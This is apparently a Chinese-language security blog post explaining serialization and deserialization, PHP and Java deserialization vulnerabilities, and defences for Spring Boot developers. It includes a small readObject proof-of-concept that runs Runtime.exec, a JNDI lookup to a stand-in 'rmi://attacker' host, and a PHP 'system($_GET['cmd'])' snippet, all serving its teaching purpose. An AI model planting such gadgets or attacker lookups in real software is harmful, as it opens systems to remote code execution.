点击查看-X黑手网
点击查看-X黑手网

📚 序列化与反序列化:原理、实现、风险与现代开发实践

一、核心定义

序列化(Serialization)

  • 序列化是指将内存中对象的完整状态(包括字段值、类型元数据、继承关系、甚至嵌套对象图)转换为一种可持久化或可传输的线性格式的过程。

  • 其核心目标有三:

    • 持久化:将对象存入文件、数据库或分布式缓存(如 Redis);
    • 传输:通过网络(HTTP、RPC、消息队列)在进程间、服务间、语言间传递对象;
    • 重建:为后续反序列化提供完整上下文,确保对象能“原样复活”。
  • 常见序列化格式按性质可分为两类:

    • 二进制格式

      • JDK 原生序列化(ObjectOutputStream):保留最完整的 JVM 对象语义,但强绑定 Java 版本;
      • Protobuf(Google):高效、跨语言、Schema 驱动,适合微服务通信;
      • MsgPack / igbinary:紧凑二进制,性能优于 JSON,常用于高性能中间件或 PHP 扩展。
    • 文本格式

      • JSON:当前 Web 层事实标准,轻量、可读、易调试;
      • XML:历史系统与配置文件常用,冗余高但语义明确;
      • YAML:强调可读性,广泛用于 Kubernetes、Ansible 等配置场景。
  • 类比理解:

    1. 序列化 = 将活体生物冷冻成标本(保留形态与结构);
    2. 反序列化 = 解冻并唤醒该生物(不仅恢复外形,还可能触发其生理反应)。

反序列化(Deserialization)

  • 反序列化是序列化的逆过程:将线性数据流还原为运行时的对象实例,并重新激活其行为逻辑(如构造函数、初始化方法、资源分配等)。

  • 关键风险在于:

    • 它不只是“填充值”,而是执行对象的“复活协议”。例如:
    • Java 中若类定义了 private void readObject(ObjectInputStream),JVM 会在反序列化时自动调用它
    • PHP 中若对象存在 __wakeup() 方法,unserialize() 会立即触发;
    • 这些“钩子方法”若未校验输入或含危险操作(如 Runtime.exec()eval()),即可被攻击者利用达成远程代码执行(RCE)。

二、语言级实现机制详解

PHP 的序列化路径

PHP 提供多条序列化通道,安全性差异极大:

1. 原生 serialize() / unserialize()

  • 功能强大:完整保存对象类名、私有属性、继承链、甚至闭包(PHP 7+ 有限支持);
  • 风险极高:unserialize($user_input) 是经典 RCE 入口,原因如下:
    • 自动调用 __wakeup()(对象恢复时)、__destruct()(销毁前)、__toString()(转字符串时);
    • 攻击者可构造恶意对象链,使这些魔术方法执行任意 PHP 代码(如 system($_GET['cmd']));
    • 即使类无显式定义这些方法,某些第三方库(如 MonologSymfony 组件)的类可能隐含可利用点。

实践警示:任何接收用户输入并传给 unserialize() 的代码,均应视为高危漏洞

2. JSON 路径:json_encode() / json_decode()

  • 仅处理标量、数组、对象(转换为关联数组);
  • 不保留类信息,不触发任何魔术方法;
  • 安全边界清晰:输出为纯文本,需显式 new ClassName(...) 构造对象;
  • 推荐作为 Web API、前后端交互、配置存储的默认选择

3. 其他方案

  • var_export() + eval():本质是动态执行代码,绝对禁止用于不可信输入
  • igbinary / msgpack:高性能二进制替代,但若用于反序列化外部数据,仍需配合白名单校验(因仍支持对象重建与魔术方法调用)。

总结:在 PHP 中,唯一推荐的反序列化方式是 json_decode($input, true) + 严格类型校验 + 白名单过滤;其余路径必须置于沙箱或禁用。

Java 的序列化机制深度解析

Java 的序列化由 JVM 规范强制支持,核心围绕 Serializable 接口展开:

标记接口:Serializable

  • 无方法,仅为编译期标记;
  • 若类未实现 → ObjectOutputStream.writeObject() 抛出 NotSerializableException
  • 子类继承父类的 Serializable 标记,但若父类未实现,则需显式声明。

序列化入口:ObjectOutputStream.writeObject()

  • 支持对象图(含循环引用、数组、集合);
  • 输出包含:类描述符、字段名/类型、字段值、父类信息等;
  • 体积大、可读性差,但语义完整

反序列化入口:ObjectInputStream.readObject()

这是整个风险链的起点。其内部执行流程如下:

  1. 读取流头标识(如 0x73 表示普通对象);
  2. 解析类描述符(readClassDesc());
  3. 判断类是否实现 Externalizable
    • 是 → 调用 readExternal()
    • 否 → 进入默认流程 readSerialData()
  4. 在 readSerialData() 中:
    • 检查是否存在 private void readObject(ObjectInputStream in) 方法;
    • 若存在 → 强制调用该方法(即使为空);
    • 若不存在 → 执行 defaultReadObject()(逐字段赋值)。

关键结论:只要类中声明了 readObject(),反序列化时必被执行——这是 gadget chain 的标准起始点。

辅助机制

  • transient 字段:标记后不参与序列化(常用于密码、连接池、ThreadLocal 变量);
  • static 字段:属于类而非实例,永不序列化
  • 自定义反序列化逻辑:通过重写 readObject() 插入校验、懒加载、资源初始化等逻辑——但也是漏洞温床。

示例 PoC 分析

public class Person implements Serializable {
    private String name;
    private int age;

    //  此方法将在反序列化时自动触发!
    private void readObject(ObjectInputStream in) 
        throws IOException, ClassNotFoundException {
        Runtime.getRuntime().exec("open *a Calculator.app"); // macOS 弹计算器
    }
}
  • 该类合法实现 Serializable
  • readObject() 为私有、无参、异常声明合规;
  • 在测试中:序列化 → 写文件 → 反序列化 → 计算器弹出;
  • 本质是 JVM 的“对象复活仪式”被恶意篡改。

此 PoC 是教学级最小漏洞模型;真实攻击中会结合反射、动态代理、JNDI 注入等构建隐蔽链。


三、漏洞成因与利用模型

根本原因

将不可信输入(如 HTTP 参数、消息体、文件上传)直接送入反序列化函数,且未施加任何类型白名单、输入过滤或沙箱隔离。

这相当于:把陌生人给的“复活咒语”直接念出来——而 JVM/PHP 会认真执行它。

典型攻击链(Java)

  1. 攻击者使用 ysoserial 等工具生成 payload(如 CC1、URLDNS、ROME);
  2. 服务端调用 ObjectInputStream.readObject(userInput)
  3. 触发 gadget chain:
    • ChainedTransformer → InvokerTransformer → Method.invoke()
    • 最终调用 Runtime.getRuntime().exec(command)
  4. 实现 RCE、写 shell、内网扫描、凭证窃取等。

隐蔽入口远不止 readObject()

现代攻击已扩展至多个“等价反序列化”场景:

  • RMI / JNDI LookupNaming.lookup("rmi://attacker/exploit") → RMI Stub 反序列化恶意对象(Log4j2 CVE202144228 根源);
  • 自定义协议解析:物联网设备上报包中混入 ObjectInputStream 流;
  • 第三方库隐式调用:如 Apache Commons Configuration 加载 XML 时通过 Class.forName().newInstance() 间接触发反序列化;
  • Agent 通信:APM 工具通过 socket 发送序列化状态对象,被构造 payload 利用。

攻击范式已从“显式反序列化”转向“链式利用”:
HTTP 参数 → JNDI → RMI → ObjectInputStream → Gadget Chain

问题(一)

在 Spring Boot + MyBatis 开发中,我从未手动使用 ObjectOutputStreamSerializablereadObject() —— 为什么?

答案:因为站在了现代工程实践的“安全默认路径”上

  • Spring Boot 及其生态主动规避了 JDK 原生序列化的三大缺陷:

缺陷 1:强 JVM 依赖,版本脆弱

  • 类结构变更(如字段增删)→ 反序列化失败(InvalidClassException
  • Spring 方案:默认使用 Jackson 将 POJO ↔ JSON,无类签名绑定, 跨语言兼容性强。

缺陷 2:高危安全风险

  • readObject() 是天然后门,极易被 gadget 链利用
  • Spring 方案
    • Web 层:@RestController + @ResponseBody → 自动 JSON 序列化;
    • 缓存层:RedisTemplate 默认使用 Jackson2JsonRedisSerializer(非 JdkSerializationRedisSerializer);
    • 消息层:Kafka/RabbitMQ 使用 StringJsonMessageConverter 或 Protobuf;
    • RPC 层:Dubbo 3+ 默认 hessian2 或 protobuf;Feign 用 JSON。

缺陷 3:性能与体积劣势

  • JDK 序列化体积大(含冗余元数据)、速度慢
  • Spring 方案:Jackson / Kryo / Protobuf 在吞吐与延迟上普遍优于原生方案 3–10 倍

实际用到的“序列化”是:

  • @RequestBody Person p → Jackson 将 JSON → Java 对象
  • MyBatis 的 ResultMap 是关系映射(SQL 结果集 → Bean),非对象序列化
  • Redis 中存储的是 {"id":1,"name":"Alice"} 字符串,而非二进制对象流

所以:没写 ObjectOutputStream,不是遗漏,而是框架做了更安全、更高效的选择

何时需关注 Serializable

仅限特殊场景(非日常):

  • HttpSession 存自定义对象(集群环境要求可序列化)
  • 维护老系统(如 Dubbo 2.x + serialization=java
  • 配置 JdkSerializationRedisSerializer(强烈不推荐)
  • 安全审计 / 渗透测试(需理解原理)

优先掌握的替代技能:

  • Jackson 注解(@JsonProperty@JsonInclude@JsonIgnore
  • Fastjson 安全配置(禁用 autoType
  • Redis 序列化策略选型(Jackson > String > JDK)
  • Protobuf Schema 设计与编解码

问题(二)

既然 JDK 反序列化已过时,为何仍有大量 CVE?

核心真相:技术淘汰 ≠ 系统退役;规范推荐 ≠ 实践落地

下面从五个维度解释这一现象:

一、现实:海量存量系统仍在运行 JDK 序列化

根据 NVD 与 Snyk 2023–2025 年统计:

  • 2023 年:47+ 个 Java CVE 涉及反序列化,影响组件包括 Apache Dubbo、JBoss、WebLogic、Jenkins、Log4j(JNDI 间接链);
  • 2024 年:39+ 个,新增 Spring RMI、Redisson 老版、Elasticsearch 插件;
  • 2025 Q1:12+ 个,集中于金融/政务定制中间件与遗留系统。

为什么还在用?

  • 遗留系统无法重构:银行核心交易系统、电力调度平台运行超 10 年,依赖 RMI/JNDI + JDK 序列化;
  • 中间件默认配置危险:Dubbo 2.7.x 若误配 serialization=java,即回退至高危模式;Redisson 3.x 若误用 SerializationCodec,可导致 RCE;
  • 开发者认知盲区:新人看到 implements Serializable 以为“标准写法”,直接复用,不知 readObject() 是后门;
  • 安全防护滞后:企业只扫 Web 层(XSS/SQLi),忽略 RPC/缓存层的反序列化入口(如 Jenkins Remoting)。

关键点:CVE 不是新漏洞,而是旧技术在新攻击面下的暴露

二、攻击面远比想象隐蔽

你以为只有 ObjectInputStream.readObject() 是入口?错!以下均为等价风险点:

  • RMI / JNDI 注入Naming.lookup("rmi://attacker:1099/Exploit") → RMI 底层仍用 ObjectInputStream
  • Agent 通信:JVM Agent 向控制台发送 AgentStatus 对象,被构造 payload 触发 readObject()
  • 自定义协议解析:某 IoT 平台用 DataInputStream.readInt() + readObject() 解析设备上报包;
  • 第三方库隐式调用Apache Commons Configuration 加载 XML 时调用 Class.forName().newInstance(),若类名可控 → 间接触发反序列化。

现代攻击 = 链式利用
HTTP 参数 → JNDI Lookup → RMI Stub → ObjectInputStream → Gadget Chain

三、防御成本高,导致“知道但不做”

许多团队清楚风险,却因以下原因搁置修复:

  • 兼容性恐惧:修改序列化方式 → 所有客户端需同步升级 → 金融/政务系统不敢动;
  • 责任归属模糊:“这是中间件问题” vs “这是业务代码问题” → 推诿;
  • 测试覆盖不足:单元测试不覆盖反序列化路径;集成测试忽略恶意 payload;
  • 缺乏工具链:无自动化扫描(SerialKiller 已停更),ysoserial 仅用于验证,非预防。

实例:某头部电商内部调度系统仍用 ObjectInputStream 接收 Kafka 消息(本应为 JSON),原因是“历史对接方要求二进制格式”——技术决策常被业务妥协绑架

四、结构性原因:为何“过时技术”难以根除?

  1. JVM 层级绑定
    • Serializable 是 JVM 规范强制能力,所有 JDK 版本必须支持
    • 无法废弃,只能“禁用使用”而非“删除功能”
  2. 生态惯性
    • Quartz、JGroups、Hazelcast 早期版深度依赖它
    • 升级成本 > 风险收益 → 选择“打补丁”而非重构
  3. 安全左移缺失
    • DevSecOps 未覆盖“序列化策略审查”环节
    • 开发者写 implements Serializable 时, IDE 无警告

类比:COBOL 仍在银行核心系统运行——不是因为它好,而是替换成本太高

五、务实建议:作为现代开发者,如何应对?

日常开发自查(5分钟可完成)

# 检查是否意外使用 JDK 序列化
grep *nE "Object(Input|Output)Stream|Serializable" src/main/java/

# 检查危险的 readObject 实现
grep *n "private void readObject" src/main/java/

# 检查 Redis 序列化器(重点!)
# 查找:new JdkSerializationRedisSerializer() 或 setDefaultSerializer(...)

依赖与架构加固

  • HTTP 层:禁用 Jackson enableDefaultTyping();Fastjson 设置 autoTypeSupport=false
  • 缓存层:强制使用 Jackson2JsonRedisSerializer
  • 消息层:Kafka/RabbitMQ 使用 JSON 或 Protobuf Converter;
  • RPC 层:Dubbo 显式指定 serialization=hessian2 或 protobuf;避免 java

最后一道防线:全局输入过滤(Java 9+)

// 在反序列化前设置白名单过滤器
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.yourpackage.*;java.util.*;java.lang.*"
);
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter); // ⚠️ 必须在 readObject() 前调用!

铁律:
“不序列化不可信数据” 比 “如何安全地反序列化” 更重要
就像你不会把用户输入拼接到 SQL,也不该把用户输入喂给 readObject()

总结

既然过时, 为何还有 CVE?

  • 原因:
    1. 过时 ≠ 消失 —— JVM 仍支持,数百万行遗留代码在跑;
    2. CVE 是暴露,不是新生 —— 旧洞被新攻击手法激活;
    3. 人类工程决策滞后于技术演进 —— 业务压力常压倒安全规范。
© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容